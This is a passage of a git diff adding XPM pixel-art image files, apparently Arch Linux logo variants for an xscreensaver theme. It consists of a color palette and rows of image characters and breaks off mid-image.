,,,,,,,,,,...$$$$$$$$$$$$$$$$$$$$$$$$%@@@@@@%$$$$$$$$$$$$$$$$$$$$$$*>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*......................%@@@@@@%...........................,,,,,,,,,, ", +" ,,,,,,,,,,...$$$$$$$$$$$$$$$$$$$$$$$$%@@@@@@@$$$$$$$$$$$$$$$$$$$$$$*>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*......................@@@@@@@%...........................,,,,,,,,,, ", +" ,,,,,,,,,,...$$$$$$$$$$$$$$$$$$$$$$$$#@@@@@@@$$$$$$$$$$$$$$$$$$$$$$*>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*......................@@@@@@@#...........................,,,,,,,,,, ", +" ,,,,,,,,,,...$$$$$$$$$$$$$$$$$$$$$$$$#@@@@@@@$$$$$$$$$$$$$$$$$$$$$$*>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*......................@@@@@@@#...........................,,,,,,,,,, ", +" ,,,,,,,,,,...$$$$$$$$$$$$$$$$$$$$$$$$$@@@@@@@$$$$$$$$$$$$$$$$$$$$$$*>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>$......................@@@@@@@............................,,,,,,,,,, ", +" ,,,,,,,,,,...$$$$$$$$$$$$$$$$$$$$$$$$$@@@@@@@#$$$$$$$$$$$$$$$......*>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>$.....................#@@@@@@@............................,,,,,,,,,, ", +" ,,,,,,,,,,....$$$$$$$$$$$$$$$$$$$$$$$$@@@@@@@%.....................*>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>$.....................%@@@@@@@............................,,,,,,,,,, ", +" ,,,,,,,,,,............................%@@@@@@%.....................*>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>$.....................%@@@@@@%............................,,,,,,,,,, ", +" ,,,,,,,,,,............................#@@@@@@@.....................*>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>$.....................@@@@@@@#............................,,,,,,,,,, ", +" ,,,,,,,,,,............................$@@@@@@@$....................*>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>$.....................@@@@@@@.............................,,,,,,,,,, ", +" ,,,,,,,,,,.............................@@@@@@@%....................$>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>#....................%@@@@@@@.............................,,,,,,,,,, ", +" ,,,,,,,,,,.............................%@@@@@@@....................$>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>@#...................@@@@@@@%.............................,,,,,,,,,, ", +" ,,,,,,,,,,.............................#@@@@@@@#...................$>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>@@#.................#@@@@@@@#.............................,,,,,,,,,, ", +" ,,,,,,,,,,..............................@@@@@@@%...................$>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>@@@#................%@@@@@@@..............................,,,,,,,,,, ", +" ,,,,,,,,,,..............................%@@@@@@@...................$>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>@@@@#...............@@@@@@@%..............................,,,,,,,,,, ", +" ,,,,,,,,,,..............................#@@@@@@@%..................$>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>@@@@@#.............%@@@@@@@#..............................,,,,,,,,,, ", +" ,,,,,,,,,,...............................@@@@@@@@..................$>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>@@@@@@#............@@@@@@@@...............................,,,,,,,,,, ", +" ,,,,,,,,,,...............................%@@@@@@@%.................$>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>@@@@@@@#..........%@@@@@@@%...............................,,,,,,,,,, ", +" ,,,,,,,,,,................................@@@@@@@@.................$>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>@@@@@@@@%.........@@@@@@@@................................,,,,,,,,,, ", +" ,,,,,,,,,,................................%@@@@@@@%................$>>))>>>>>>>>>>>>>>>>>>>>>>>>>>>>)>>>@@@@@@@@@%.......%@@@@@@@%................................,,,,,,,,,, ", +" ,,,,,,,,,,.................................@@@@@@@@#...............$>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>@@@@@@@@@@%.....#@@@@@@@@.................................,,,,,,,,,, ", +" ,,,,,,,,,,.................................%@@@@@@@@...............$>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>)>>>@@@@@@@@@@@%....@@@@@@@@%.................................,,,,,,,,,, ", +" ,,,,,,,,),..................................@@@@@@@@%..............#>>)>>>>>>>>>>>>>>==>>>>>>>>>>>>)))>>#@@@@@@@@@@@%..%@@@@@@@@..................................,),,,,,,,, ", +" ,,,,,,,,),..................................#@@@@@@@@#.............#>>>,============================>>>>*$@@@@@@@@@@@%#@@@@@@@@$..................................,),,,,,,,, ", +" ,,,,,,,,),...................................%@@@@@@@@$............$#########=###=#################---##$.$@@@@@@@@@@@@@@@@@@@%.................................++,),,,,,,,, ", +" ,,,,,,,,),....................................@@@@@@@@@........................$$$$$$$$$$$$$$$..............@@@@@@@@@@@@@@@@@@.......................+++++++++++++,),,,,,,,, ", +" ,,,,,,,,),....................................#@@@@@@@@@.....................................................@@@@@@@@@@@@@@@@$..............++++++++++++++++++++++,),,,,,,,, ", +" ,,,,,,,,),.....................................%@@@@@@@@@.....................................................@@@@@@@@@@@@@@#.......++++++++++++++++++++++++++++++,),,,,,,,, ", +" ,,,,,,,,),......................................%@@@@@@@@@$....................................................@@@@@@@@@@@@%.+++++++++++++++++++++++++++++++++++++,),,,,,,,, ", +" ,,,,,,,,),.......................................@@@@@@@@@@#....................................................@@@@@@@@@@@.++++++++++++++++++++++++++++++++++++++,),,,,,,,, ", +" ,,,,,,,,),........................................@@@@@@@@@@%..................................................%@@@@@@@@@@.+++++++++++++++++++++++++++++++++++++++,),,,,,,,, ", +" ,,,,,,,,),.........................................@@@@@@@@@@@.............................................++.@@@@@@@@@@@.++++++++++++++++++++++++++++++++++++++++,),,,,,,,, ", +" ,,,,,,,,),..........................................@@@@@@@@@@@#.....................................++++++.#@@@@@@@@@@@.+++++++++++++++++++++++++++++++++++++++++,),,,,,,,, ", +" ,,,,,,,,),...........................................@@@@@@@@@@@%...............................++++++++++.%@@@@@@@@@@@.++++++++++++++++++++++++++++++++++++++++++,),,,,,,,, ", +" ,,,,,,,,),............................................@@@@@@@@@@@@%........................+++++++++++++.%@@@@@@@@@@@@.+++++++++++++++++++++++++++++++++++++++++++,),,,,,,,, ", +" ,,,,,,,,),.............................................%@@@@@@@@@@@@%..................+++++++++++++++.%@@@@@@@@@@@@%+++++++++++++++++++++++++++++++++++++++++++++,),,,,,,,, ", +" ,,,,,,,,),..............................................%@@@@@@@@@@@@@%#..........++++++++++++++++++#%@@@@@@@@@@@@@#++++++++++++++++++++++++++++++++++++++++++++++,),,,,,,,, ", +" ,,,,,,,,),...............................................$@@@@@@@@@@@@@@@%#...++++++++++++++++++.#%@@@@@@@@@@@@@@@$+++++++++++++++++++++++++++++++++++++++++++++++,),,,,,,,, ", +" ,,,,,,,,),.................................................%@@@@@@@@@@@@@@@@@%#$..+++++++++.$#%@@@@@@@@@@@@@@@@@%+++++++++++++++++++++++++++++++++++++++++++++++++,),,,,,,,, ", +" ,,,,,,,,),...................................................%@@@@@@@@@@@@@@@@@@@@@@@%%@@@@@@@@@@@@@@@@@@@@@@@%.++++++++++++++++++++++++++++++++++++++++++++++++++,),,,,,,,, ", +" ,,,,,,,,),....................................................#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@$++++++++++++++++++++++++++++++++++++++++++++++++++++,),,,,,,,, ", +" ,,,,,,,,),......................................................$@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%$++++++++++++++++++++++++++++++++++++++++++++++++++++++,),,,,,,,, ", +" ,,,,,,,,),.................................................+++++++$%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%$++++++++++++++++++++++++++++++++++++++++++++++++++++++++,),,,,,,,, ", +" ,,,,,,,,),..............................................++++++++++++.%@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++)),,,,,,,, ", +" ,,,,,,,,),...........................................++++++++++++++++++$%%@@@@@@@@@@@@@@@@@@@@@@@@%#$+++++++++++++++++++++++++++++++++++++++++++++++++++++&&&&&&&&)),,,,,,,, ", +" ,,,,,,,,),.......................................++++++++++++++++++++++++++$#%@@@@@@@@@@@@@@@%%#$+++++++++++++++++++++++++++++++++++++++++++++&&&&&&&&&&&&&&&&&&&&)),,,,,,,, ", +" ,,,,,,,,),....................................+++++++++++++++++++++++++++++++++++.$$$##$$$$+++++++++++++++++++++++++++++++++++++++++++&&&&&&&&&&&&&&&&&&&&&&&&&&&&)),,,,,,,, ", +" ,,,,,,,,!).................................++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&)!,,,,,,,, ", +" ,,,,,,,,!)...............................++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&)!,,,,,,,, ", +" ,,,,,,,,!)............................++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&)!,,,,,,,, ", +" ,,,,,,,,!).........................++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&)!,,,,,,,, ", +" ,,,,,,,,!)......................+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&)!,,,,,,,, ", +" ,,,,,,,,!)....................+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&)!,,,,,,,, ", +" ,,,,,,,,!!+.................+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&!!,,,,,,,, ", +" ,,,,,,,,)!);;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;)!),,,,,,,, ", +" ,,,,,,,,,)!!!!!!!!!!))))))))))))))))))))))))))))))))),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,)))))))))))))))))))))))))))))))))!!!!!!!!!!),,,,,,,,, ", +" ,,,,,,,,,,,))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))!!!!!!!!!!!!!!!!!!!!!!!!!!!))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))),,,,,,,,,,, ", +" ,,,,,,,,,,,,,,,))))))))))))))))))))))))))))))))))))))))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!))))))))))))))))))))))))))))))))))))))),,,,,,,,,,,,,,, ", +" ,,,,,,,,,,,,,,,))))))))))))))))))))))))))))))))))))))))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!)))))))))))))))))))))))))))))))))))),,,,,,,,,,,,,,,,,, ", +" ,,,,,,,,,,,,,,,))))))))))))))))))))))))))))))))))))))))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!)))))))))))))))))))))))))))))))))))),''',,,,,,,,,,,,,, ", +" ,,,,,,,,,,,,,,,))))))))))))))))))))))))))))))))))))))))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!))))))))))))))))))))))))))))))))))),'''''),,,,,,,,,,,, ", +" ,,,,,,,,,,,,,,,))))))))))))))))))))))))))))))))))))))))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!))))))))))))))))))))))))))))))))))),'''''!,,,,,,,,,,,, ", +" ,,,,,,,,,,,,,,,))))))))))))))))))))))))))))))))))))))))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!))))))))))))))))),),))),),!)),),!)),'''''!,,,,,,,,,,,, ", +" ,,,,,,,,,,,,,,,))))))))))))))))))))))))))))))))))))))))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!))))))))))))))))),,,!)),,)!)),,)!))))'''!),,,,,,,,,,,, ", +" ,,,,,,,,,,,,,,,))))))))))))))))))))))))))))))))))))))))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!))))))))))))))))))!!))))!!))))!!)))))!!!),,,,,,,,,,,,, ", +" ,,,,,,,,,,,,,,,))))))))))))))))))))))))))))))))))))))))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!))))))))))))))))))))))))))))))))))))))),,,,,,,,,,,,,,, ", +" ,,,,,,,,,,,,,,,,,,,,,,,,,,)))))))))))))))))))))))))))))))))))))))))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!)))))))))))))))))))))))))))))))))))))))),,,,,,,,,,,,,,,,,,,,,,,,,, ", +" ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, ", +" ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,)))))))))))))))))))))))))))))))))))))))))))!!!!!!!!!!!!!!!)))))))))))))))))))))))))))))))))))))))))),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, ", +" ,,,,,,,,,)))),,,,,,,,, ", +" =,,,,,,,,))),,,,,,,,== ", +" =,,,,,,,))))),,,,,,,,= ", +" =,,,,,,))))))),,,,,,,= ", +" =,,,,)))))!!!))),,,,,,,, ", +" =,,,))))))!!!!)),,),,,,, ", +" =,,,)))))!!!!!))),),,,,, ", +" =),))))))!!!!!))),),,,,, ", +" ,,,,))))))))!!!!!))),)),,,,,,, ", +" ,,,,))!!!!,,!!))))))!!!!!))),)),,,,)!!!))),,,, ", +" ,,))!!!!!!))))),,!!!)))))!!!!!))),)),,,,,)))))!!!!!!),,, ", +" ,,)!!!))))))))))))),)!!!!))))!!!!!))),)),,,,,))))))))))))))!!),, ", +" ,,)))))))))))))))),,,,,,)!!!!))))!!!!!))),)),,,,,,,,,,)))))))))))))))),, ", +" ,)))))))))))))),,,,,,,,,,,,)!!!!!)))!!!!!))),)),,,,,,,,,,,,,,,,,)))))))))))),, ", +" ,)))))))))))),,,,,,,,,,,,,,,,,!!!!!!))!!!!!))),)),,,,,,,,,,,,,,,,,,,,,))))))))))), ", +" )))!!)))))),,,,,,,,,,,,,,,,,,,,,,!!!!!))!!!!!))),)),,,,,,,,,,,,,,,,,,,,,,,,,)))))!!)), ", +" ,))!!!),,,,,,,,,,,,,,,,,,,,,,,,,,,,)!!!!!!!!!!!))),)),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,!!!)), ", +" ,))!!!!),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,)!!!!!!!!!!))),)),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,)!!!!), ", +" ,,)!!!!!,,,,,,,))))))))))))))))))))),,,,))!!!!!!!!))),),,,,,))))))))))))))))))))))),,,,,!!!!!),, ", +" ,,)!!!!!!),))))))))))))))))))))))))))),,,,,)))!!!!!))),,,,,))))))))))))))))))))))))))))))!!!!!!),, ", +" ,,)!!!!!!!)))))))))))))))))!!!!!!!!!!!!)),,,,,,,,)),,,,,,,,))!!!!!!!!!!!!!!)))))))))))))))!!!!!!!), ", +" ,,!!!!!!!!!))))))))))!!!!!!!!!!!!!!!!!!))),,,,,,,,,,,,,,,,)))!!!!!!!!!!!!!!!!!!!)))))))))!!!!!!!!!,, ", +" ,,)!!!!!!!!!!)))))!!!!!!!!!!!!!!!!!!!!!!))),,,,,,,,,,,,,,,,,))!!!!!!!!!!!!!!!!!!!!!!!!)))!!!!!!!!!!),, ", +" ,))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!)),,,,,,,,,,,,,,,,,,))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!)), ", +" ,,)!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!)),,,,,,,,,,,,,,,,,,,,))))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!),, ", +" ,,))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!)))))),,,,,,,,,,,,,,,,,,,,))))))))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!),, ", +" ,,))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!)))))))),,,,,,,,,,,,,,,,,,,,))))))))))!!!!!!!!!!!!!!!!!!!!!!!!!!!),,, ", +" ,,,))!!!!!!!!!!!!!!!!!!!!!!!!!!)))))))))),,,,,,,,,,,,,,,,,,,,))))))))))))!!!!!!!!!!!!!!!!!!!!!!!!!),,, ", +" ,,,,!!!!!!!!!!!!!!!!!!!!!!!!)))))))))))),,,,,,,,,,,,,,,,,,,,)))))))))))))!!!!!!!!!!!!!!!!!!!!!!!,==, ", +" ,,,,)!!!!!!!!!!!!!!!!!!!!!!!!)))))))))),,,,,,,,,,,,,,,,,,,,))))))))))))!!!!!!!!!!!!!!!!!!!!!!!,===, ", +" ,,==,!!!!!!!!!!!!!!!!!!!!!)))))))))))),,,,,,,,,,,,,,,,,,,,))))))))))))))!!!!!!!!!!!!!!!!!!!,====, ", +" ,====,!!!!!!!!!!!!!!!!!!!!)))))))))))),,,,,,,,,,,,,,,,,,))))))))))))))!!!!!!!!!!!!!!!!!!,=====, ", +" ,=====,)!!!!!!!!!!!!!!!!!!!!)))))))))),,,,,,,,,,,,,,,,))))))))))))!!!!!!!!!!!!!!!!!!),====== ", +" ======,,)!!!!!!!!!!!!!!!!!!!!!!))))))),,,,,,,,,,,,)))))))))!!!!!!!!!!!!!!!!!!!!),,======, ", +" ========,,)!!!!!!!!!!!!!!!!!!!!!!!)))))),,,,,,,)))))!!!!!!!!!!!!!!!!!!!!!!!),,,,,,===, ", +" ====,,,,,,,))!!!!!!!!!!!!!!!!!!))))))))))))))))))!!!!!!!!!!!!!!!!!!!)),,,,,,,,,,, ", +" ,,,,,,,,,,,,)))!!!!!!!!!!!!!!!))))))))))))))))!!!!!!!!!!!!!!!!!)))),,,,,,,,, ", +" ,,,,,,,,,))))!!!!!!!!!!!!!)))))))))))))))))))!!!!!!!!!!!!!!!)))),,,,,, ", +" ,,,,,)))!!!!!!!!!!!!))))))),,,,,,,,)))))))!!!!!!!!!!!!!!!))),, ", +" ))))!!!!!!!!!!!)))))))),,,,,,,,))))))))!!!!!!!!!!!!!!) ", +" !!!!!!!!!)))))))),,,,,,,,))))))))!!!!!!!!! ", +" )))))))),,,,,,,,))))))))! ", +" "}; diff --git a/xscreensaver-arch-logo/xscreensaver-graphics-all/logo-180-crystal-3.xpm b/xscreensaver-arch-logo/xscreensaver-graphics-all/logo-180-crystal-3.xpm new file mode 100644 index 0000000..8032e14 --- /dev/null +++ b/xscreensaver-arch-logo/xscreensaver-graphics-all/logo-180-crystal-3.xpm @@ -0,0 +1,200 @@ +/* XPM */ +static char * logo_180_crystal_3_xpm[] = { +"180 180 17 1", +" c None", +". c #000B6A", +"+ c #062C94", +"@ c #5F2049", +"# c #FD0000", +"$ c #35347E", +"% c #0940B1", +"& c #A4283B", +"* c #535392", +"= c #756F9A", +"- c #FC6711", +"; c #8A8CB6", +"> c #D08175", +", c #B3B5B3", +"' c #CED0CD", +") c #F7FA0D", +"! c #E7E9E6", +" ", +" ,,,,,,,,,,,,,''''''''''''''''''''''''''''''''''''''''!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!''''''''''''''''''''''''''''''''''''''',,,,,,,,,,,,, ", +" ,!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!, ", +" ,'!!'''''''''''''!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!'''''''''''''!!', ", +" ,!',,,,,,,,,,,,''''''''''''''''''''''''''''''''''''''''!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!''''''''''''''''''''''''''''''''''''''',,,,,,,,,,,,'!, ", +" ,,,,,,,,,,,,,,,''''''''''''''''''''''''''''''''''''''''!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!''''''''''''''''''''''''''''''''''''''',,,,,,,,,,,,,,, ", +" ,,,,,,,,,,'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''!!!!!!!!!!!!!!!!!!!!!!!!!!!''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''',,,,,,,,,,, ", +" ,,,,,,,,,'!!!!!!!!!!''''''''''''''''''''''''''''''''',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,'''''''''''''''''''''''''''''''''!!!!!!!!!!',,,,,,,,, ", +" ,,,,,,,,'!';;;;;;;;;;;;;;;;;;;;==============================================================================================================;;;;;;;;;;;;;;;;;;;;'!',,,,,,,, ", +" ,,,,,,,,!!........................................................................................................................................................!!,,,,,,,, ", +" ,,,,,,,,!'........................................................................................................................................................'!,,,,,,,, ", +" ,,,,,,,,!'...*******************************************************************************************************$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$...'!,,,,,,,, ", +" ,,,,,,,,!'..$;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;============================**********************************...'!,,,,,,,, ", +" ,,,,,,,,!'..$;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;============================***********************************...'!,,,,,,,, ", +" ,,,,,,,,!'..$;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;=============================************************************...'!,,,,,,,, ", +" ,,,,,,,,!,..$;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;==============================*************************************...,!,,,,,,,, ", +" ,,,,,,,,',..$;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;===============================**************************************...,',,,,,,,, ", +" ,,,,,,,,',..$;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;===============================***************************************$...,',,,,,,,, ", +" ,,,,,,,,',..$;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;==&&&##########&&@========================***************************************$$...,',,,,,,,, ", +" ,,,,,,,,',..$;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;=>&######################&@=================****************************************$$$...,',,,,,,,, ", +" ,,,,,,,,',..$;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;=&##############################&=============****************************************$$$$...,',,,,,,,, ", +" ,,,,,,,,',..$;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;@&##################################&@========*****************************************$$$$$...,',,,,,,,, ", +" ,,,,,,,,',..$;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;&########################################@=====****************************************$$$$$$$...,',,,,,,,, ", +" ,,,,,,,,',..$;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;&############################################&=*****************************************$$$$$$$$...,',,,,,,,, ", +" ,,,,,,,,',..$;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;&################################################@***************************************$$$$$$$$$...,',,,,,,,, ", +" ,,,,,,,,',..$;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;=####################&&&@@==@@&&&####################=************************************$$$$$$$$$$...,',,,,,,,, ", +" ,,,,,,,,',..$;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;=&################&@==================@&################&*********************************$$$$$$$$$$$$...,',,,,,,,, ", +" ,,,,,,,,',..$;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;==###############&==========================&###############*******************************$$$$$$$$$$$$$...,',,,,,,,, ", +" ,,,,,,,,',..$;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;=======@#############&==============================*=&#############@****************************$$$$$$$$$$$$$$...,',,,,,,,, ", +" ,,,,,,,,',..$=============;;;;;;;=====================&############&=============================*******&############&*************************$$$$$$$$$$$$$$$$...,',,,,,,,, ", +" ,,,,,,,,',..$========================================&###########&============================************&###########&***********************$$$$$$$$$$$$$$$$$...,',,,,,,,, ", +" ,,,,,,,,',..$=======================================&###########============================***************@###########&********************$$$$$$$$$$$$$$$$$$$...,',,,,,,,, ", +" ,,,,,,,,',..$======================================&##########&==========================********************&##########&*****************$$$$$$$$$$$$$$$$$$$$$...,',,,,,,,, ", +" ,,,,,,,,',..$=====================================&##########=========================************************@##########&***************$$$$$$$$$$$$$$$$$$$$$$...,',,,,,,,, ", +" ,,,,,,,,',..$====================================&##########======================******************************&#########&************$$$$$$$$$$$$$$$$$$$$$$$$...,',,,,,,,, ", +" ,,,,,,,,',..$===================================@###########&=================***********************************&#########@*********$$$$$$$$$$$$$$$$$$$$$$$$$$...,',,,,,,,, ", +" ,,,,,,,,',..$===================================#############&============****************************************&#########@******$$$$$$$$$$$$$$$$$$$$$$$$$$$$...,',,,,,,,, ", +" ,,,,,,,,',..$==================================###############&======***************====***************************&#########****$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$...,',,,,,,,, ", +" ,,,,,,,,',..$=================================&################&****************=,,'''''',,=************************&########&*$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$...,',,,,,,,, ", +" ,,,,,,,,',..$================================&##################&*************;'''''''''''''';***********************&########@$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$...,',,,,,,,, ", +" ,,,,,,,,',..$================================####################&**********=''''''''''''''''''=**********************&########$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$...,',,,,,,,, ", +" ,,,,,,,,,,...*******************************&########**###########&********;'''''''''''''''''''';*********************$########&$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$....,,,,,,,,,, ", +" ,,,,,,,,,,...******************************@########@***###########&******;'''''''',;==;,'''''''';********************$@########@$$$$$$$$$$$$$$$$$$$$$$$$$$$$.....,,,,,,,,,, ", +" ,,,,,,,,,,...******************************########&*****###########&****;'''''',=********=,'''''';****************$$$$$&########$$$$$$$$$$$$$$$$$$$$$$$$$$$......,,,,,,,,,, ", +" ,,,,,,,,,,...*****************************@########*******###########&**='''''';************=''''''=************$$$$$$$$$########@$$$$$$$$$$$$$$$$$$$$$$$$$.......,,,,,,,,,, ", +" ,,,,,,,,,,...*****************************########@********###########&*''''''****************''''''*********$$$$$$$$$$$$@########$$$$$$$$$$$$$$$$$$$$$$$$........,,,,,,,,,, ", +" ,,,,,,,,,,...****************************@#######&**********###########>'''''******************''''';*****$$$$$$$$$$$$$$$$&#######@$$$$$$$$$$$$$$$$$$$$$$.........,,,,,,,,,, ", +" ,,,,,,,,,,...****************************########@***********##########'''''=******************='''''**$$$$$$$$$$$$$$$$$$$@########$$$$$$$$$$$$$$$$$$$$$..........,,,,,,,,,, ", +" 